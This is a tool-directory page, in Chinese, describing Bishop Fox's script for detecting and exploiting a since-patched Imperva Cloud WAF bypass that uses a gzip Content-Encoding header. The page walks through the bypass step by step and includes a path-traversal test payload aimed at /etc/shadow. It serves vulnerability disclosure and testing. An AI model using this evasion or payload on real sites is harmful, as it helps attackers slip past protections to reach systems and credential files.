Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Imperva_gzip_WAF_Bypass — Imperva Cloud WAF 绕过漏洞利用程序,通过 gzip Content-Encoding 标头规避 HTTP POST 请求上的 WAF 规则。包含检测脚本和手动测试步骤。 | Kitploit
工具/GitHubGitHub/bishopfox/imperva_gzip_waf_bypass
漏洞分析IDS/IPS规避Web应用程序漏洞利用WAF绕过渗透测试
GitHubbishopfox/imperva_gzip_waf_bypass

Imperva_gzip_WAF_Bypass

Imperva Cloud WAF 绕过漏洞利用程序,通过 gzip Content-Encoding 标头规避 HTTP POST 请求上的 WAF 规则。包含检测脚本和手动测试步骤。

查看仓库
168294年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Imperva Web 应用防火墙 (WAF) POST 请求绕过

Imperva Cloud WAF 曾存在一个绕过漏洞,允许攻击者在发送恶意 HTTP POST 载荷(如 log4j 漏洞利用、SQL 注入、命令执行、目录遍历、XXE 等)时规避 WAF 规则。

修复方案

Imperva 团队从收到报告的那一刻起就非常重视此事,并在短短几天内拿出了全球性的修复方案。值得称赞。截至 2021 年 12 月 22 日,所有 Cloud WAF 客户均已自动完成修补。与 Imperva 的合作非常愉快,他们显然拥有一支成熟、专业且能力过硬的安全团队。

如何利用

向 HTTP POST 请求添加 Content-Encoding: gzip 头。保持 POST 数据原样,不要对其进行编码。只要 Content-Encoding 头的前四个字节是 gzip,WAF 规则就不会应用于 POST 请求。

你可以通过 Burp 代理的 Match & Replace(匹配与替换)功能来实现这一点:

像这样添加一个新头:

就这样,搞定。

运行测试脚本

对支持 POST 请求的 URL 运行 imperva_gzip.py,如下所示:

语法: ./imperva_gzip.py [[-t] | [-r]] URL

猜测给定 URL 的 WAF 类型:

root@kitploit:~
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare

检查 WAF 是否存在 gzip 绕过漏洞:

root@kitploit:~
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200

如果你遇到以下错误:

root@kitploit:~
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302

那么请尝试在命令行上传递 -r 以启用宽松模式。宽松模式默认关闭,这意味着 POST 请求预期会从服务器得到 HTTP 200 响应。-r 将可接受的响应扩展到 HTTP 2xx、3xx。

脚本使用

imperva_gzip.py 的退出码如下:

root@kitploit:~
0: Returned after getting WAF type.
1: Command-line was invalid.
2: There was an error connecting. Could be DNS error, timeout, etc.
3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked.
4: A WAF was detected, but it wasn't Imperva.
5: The server responded to a test POST request with something other than HTTP 200.
128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass.
129: The bypass was effective for the UNIX payload, but not the Windows one.
130: The bypass was effective for the Windows payload, but not the UNIX one.
131: The bypass was effective against both Windows and UNIX payloads.

手动测试漏洞的流程

发送三个 POST 请求:

  1. 使用一个有效但无害的 POST 请求建立基线 POST 请求/响应
  2. 使用相同的 POST 请求触发 Imperva WAF,但在请求体中附加“恶意”数据(例如 &test=../../../../../../../etc/shadow),以验证 Imperva 会将其阻止
  3. 在同一个恶意请求中添加 Content-Encoding: gzip 头,并验证 Imperva 不会阻止它

其他编码方式

根据 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding,`Content-Encoding` 头有四个有效值:

  • compress
  • deflate
  • gzip
  • br

在测试中,只有 gzip 可以作为绕过手段。

受影响版本

Imperva Cloud WAF

Cloud WAF 由 Imperva 管理。因此,Cloud WAF 的更新几乎会同时影响几乎所有客户。截至 2021 年 12 月 22 日,所有客户均已获得修补。

SecureSphere

gzip 绕过漏洞已在 Imperva 的另一款产品 SecureSphere 中得到修复。SecureSphere v12.6 的发布说明中包含以下段落:

SPHR-58185:当 SecureSphere 无法解压带有 “Content-Encoding: gzip/deflate” 头的请求中的 POST 正文时,它不会发出警报,而是放行该请求。

我很确定这是同一个漏洞,也许与 Cloud WAF 有着相同的代码渊源……这么具体的漏洞出现在两款产品中,实在不寻常。该问题于 2021 年 2 月在 SecureSphere 中得到解决,但我们不知道它是什么时候引入的。这个漏洞很可能已经存在多年了!

联系方式

Bishop Fox

  • 作者:@carllivitt @bishopfox
  • 进攻性安全:Bishop Fox
  • 持续进攻性安全:Bishop Fox Cosmos
  • 疯狂科学家:Bishop Fox Labs

Imperva

Imperva 客户支持:https://www.imperva.com/support/technical-support/

参考

  • Imperva Cloud WAF
  • Imperva SecureSphere 12.6 发布说明
  • Content-Encoding HTTP 头
下载工具